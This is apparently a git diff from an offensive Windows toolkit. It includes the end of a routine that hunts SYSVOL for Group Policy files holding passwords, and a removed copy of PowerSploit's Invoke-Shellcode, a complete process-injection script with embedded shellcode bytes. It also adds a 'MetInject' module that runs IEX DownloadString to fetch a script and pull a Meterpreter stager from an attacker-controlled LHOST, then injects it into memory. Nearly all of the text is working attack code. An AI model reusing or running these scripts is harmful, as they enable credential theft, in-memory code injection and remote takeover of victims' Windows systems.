throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
}
|
||||
|
||||
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
||||
Write-Verbose 'Searching the DC. This could take a while.'
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerFields $File.Fullname)
|
||||
Write-Output $Result
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
|
@ -1,513 +0,0 @@
|
|||
function Invoke-CHANGE_ME_HERE
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
|
||||
|
||||
PowerSploit Function: Invoke-Shellcode
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
|
||||
|
||||
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
|
||||
|
||||
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
|
||||
|
||||
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
|
||||
|
||||
.PARAMETER ProcessID
|
||||
|
||||
Process ID of the process you want to inject shellcode into.
|
||||
|
||||
.PARAMETER Shellcode
|
||||
|
||||
Specifies an optional shellcode passed in as a byte array
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -ProcessId 4274
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into process ID 4274.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into the running instance of PowerShell.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
|
||||
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
|
||||
#>
|
||||
|
||||
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[UInt16]
|
||||
$ProcessID,
|
||||
|
||||
[Parameter( ParameterSetName = 'RunLocal' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Byte[]]
|
||||
$Shellcode,
|
||||
|
||||
[Switch]
|
||||
$Force = $False
|
||||
)
|
||||
|
||||
Set-StrictMode -Version 2.0
|
||||
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Ensure a valid process ID was provided
|
||||
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
|
||||
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
|
||||
}
|
||||
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
|
||||
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
|
||||
{
|
||||
$IntSizePtr = $Architecture / 8
|
||||
|
||||
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
|
||||
{
|
||||
$LittleEndianByteArray = New-Object Byte[](0)
|
||||
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
|
||||
[System.Array]::Reverse($LittleEndianByteArray)
|
||||
|
||||
Write-Output $LittleEndianByteArray
|
||||
}
|
||||
|
||||
$CallStub = New-Object Byte[](0)
|
||||
|
||||
if ($IntSizePtr -eq 8)
|
||||
{
|
||||
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||||
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
}
|
||||
else
|
||||
{
|
||||
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||||
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
}
|
||||
|
||||
Write-Output $CallStub
|
||||
}
|
||||
|
||||
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
|
||||
{
|
||||
# Open a handle to the process you want to inject into
|
||||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||||
|
||||
if (!$hProcess)
|
||||
{
|
||||
Throw "Unable to open a process handle for PID: $ProcessID"
|
||||
}
|
||||
|
||||
$IsWow64 = $false
|
||||
|
||||
if ($64bitOS) # Only perform theses checks if CPU is 64-bit
|
||||
{
|
||||
# Determine if the process specified is 32 or 64 bit
|
||||
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
||||
|
||||
if ((!$IsWow64) -and $PowerShell32bit)
|
||||
{
|
||||
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
|
||||
}
|
||||
elseif ($IsWow64) # 32-bit Wow64 process
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Injecting into a Wow64 process.'
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
else # 64-bit process
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
}
|
||||
else # 32-bit CPU
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
|
||||
# Reserve and commit enough memory in remote process to hold the shellcode
|
||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
if (!$RemoteMemAddr)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode into the previously allocated memory
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($IsWow64)
|
||||
{
|
||||
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate inline assembly stub
|
||||
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
if (!$RemoteStubAddr)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Write 32-bit assembly stub to remote process memory space
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
|
||||
|
||||
# Execute shellcode as a remote thread
|
||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch remote thread in PID: $ProcessID"
|
||||
}
|
||||
|
||||
# Close process handle
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
function Local:Inject-LocalShellcode
|
||||
{
|
||||
if ($PowerShell32bit) {
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the shellcode
|
||||
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$BaseAddress)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($PowerShell32bit)
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the thread call stub
|
||||
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$CallStubAddress)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub."
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy call stub to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
|
||||
|
||||
# Launch shellcode in it's own thread
|
||||
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch thread."
|
||||
}
|
||||
|
||||
# Wait for shellcode thread to terminate
|
||||
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
||||
|
||||
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
|
||||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||||
|
||||
$AddressWidth = $null
|
||||
|
||||
try {
|
||||
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
|
||||
} catch {
|
||||
throw 'Unable to determine OS processor address width.'
|
||||
}
|
||||
|
||||
switch ($AddressWidth) {
|
||||
'32' {
|
||||
$64bitOS = $False
|
||||
}
|
||||
|
||||
'64' {
|
||||
$64bitOS = $True
|
||||
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
}
|
||||
|
||||
default {
|
||||
throw 'Invalid OS address width detected.'
|
||||
}
|
||||
}
|
||||
|
||||
if ([IntPtr]::Size -eq 4)
|
||||
{
|
||||
$PowerShell32bit = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$PowerShell32bit = $false
|
||||
}
|
||||
|
||||
if ($PSBoundParameters['Shellcode'])
|
||||
{
|
||||
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
|
||||
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
|
||||
[Byte[]] $Shellcode32 = $Shellcode
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
}
|
||||
else
|
||||
{
|
||||
# Pop a calc... or whatever shellcode you decide to place in here
|
||||
# I sincerely hope you trust that this shellcode actually pops a calc...
|
||||
# Insert your shellcode here in the for 0xXX,0xXX,...
|
||||
# 32-bit payload
|
||||
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
|
||||
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
|
||||
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
|
||||
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
|
||||
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
|
||||
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
|
||||
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
|
||||
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
|
||||
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
|
||||
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
|
||||
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
|
||||
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
|
||||
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
|
||||
0x61,0x6c,0x63,0x00)
|
||||
|
||||
# 64-bit payload
|
||||
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
|
||||
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
|
||||
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
|
||||
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
|
||||
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
|
||||
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
|
||||
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
|
||||
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
|
||||
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
|
||||
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
|
||||
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
|
||||
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
|
||||
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
|
||||
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
|
||||
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
|
||||
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
|
||||
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
|
||||
}
|
||||
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Inject shellcode into the specified process ID
|
||||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||||
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
|
||||
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
||||
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
||||
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
||||
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
||||
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
|
||||
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
|
||||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PID: $ProcessId"
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
|
||||
{
|
||||
Inject-RemoteShellcode $ProcessId
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# Inject shellcode into the currently running PowerShell process
|
||||
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
||||
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
||||
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
||||
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
||||
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
||||
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
|
||||
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
|
||||
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
|
||||
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
|
||||
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PowerShell"
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode into the running PowerShell process!" ) )
|
||||
{
|
||||
Inject-LocalShellcode
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
11304
hosted/PowerView.ps1
11304
hosted/PowerView.ps1
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,84 @@
|
|||
from core.helpers import gen_random_string, create_ps_command, obfs_ps_script
|
||||
from sys import exit
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
||||
Module by @byt3bl33d3r
|
||||
'''
|
||||
name = 'MetInject'
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
LHOST IP hosting the handler
|
||||
LPORT Handler port
|
||||
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
|
||||
PROCID Process ID to inject into (default: current powershell process)
|
||||
'''
|
||||
|
||||
if not 'LHOST' in module_options or not 'LPORT' in module_options:
|
||||
context.log.error('LHOST and LPORT options are required!')
|
||||
exit(1)
|
||||
|
||||
self.met_payload = 'reverse_https'
|
||||
self.lhost = None
|
||||
self.lport = None
|
||||
self.procid = None
|
||||
|
||||
if 'PAYLOAD' in module_options:
|
||||
self.met_payload = module_options['PAYLOAD']
|
||||
|
||||
if 'PROCID' in module_options:
|
||||
self.procid = module_options['PROCID']
|
||||
|
||||
self.lhost = module_options['LHOST']
|
||||
self.lport = module_options['LPORT']
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
|
||||
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
|
||||
|
||||
payload = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
|
||||
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
|
||||
$SumTest = $False
|
||||
while ($SumTest -eq $False)
|
||||
{{
|
||||
$GeneratedUri = $CharArray | Get-Random -Count 4
|
||||
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
|
||||
}}
|
||||
$RequestUri = -join $GeneratedUri
|
||||
$Request = "{}://{}:{}/$($RequestUri)"
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
[Byte[]]$bytes = $WebClient.DownloadData($Request)
|
||||
Invoke-{} -Force -Shellcode $bytes""".format(context.server,
|
||||
context.localip,
|
||||
context.server_port,
|
||||
'http' if self.met_payload == 'reverse_http' else 'https',
|
||||
self.lhost,
|
||||
self.lport,
|
||||
self.obfs_name)
|
||||
|
||||
if self.procid:
|
||||
payload += " -ProcessID {}".format(self.procid)
|
||||
|
||||
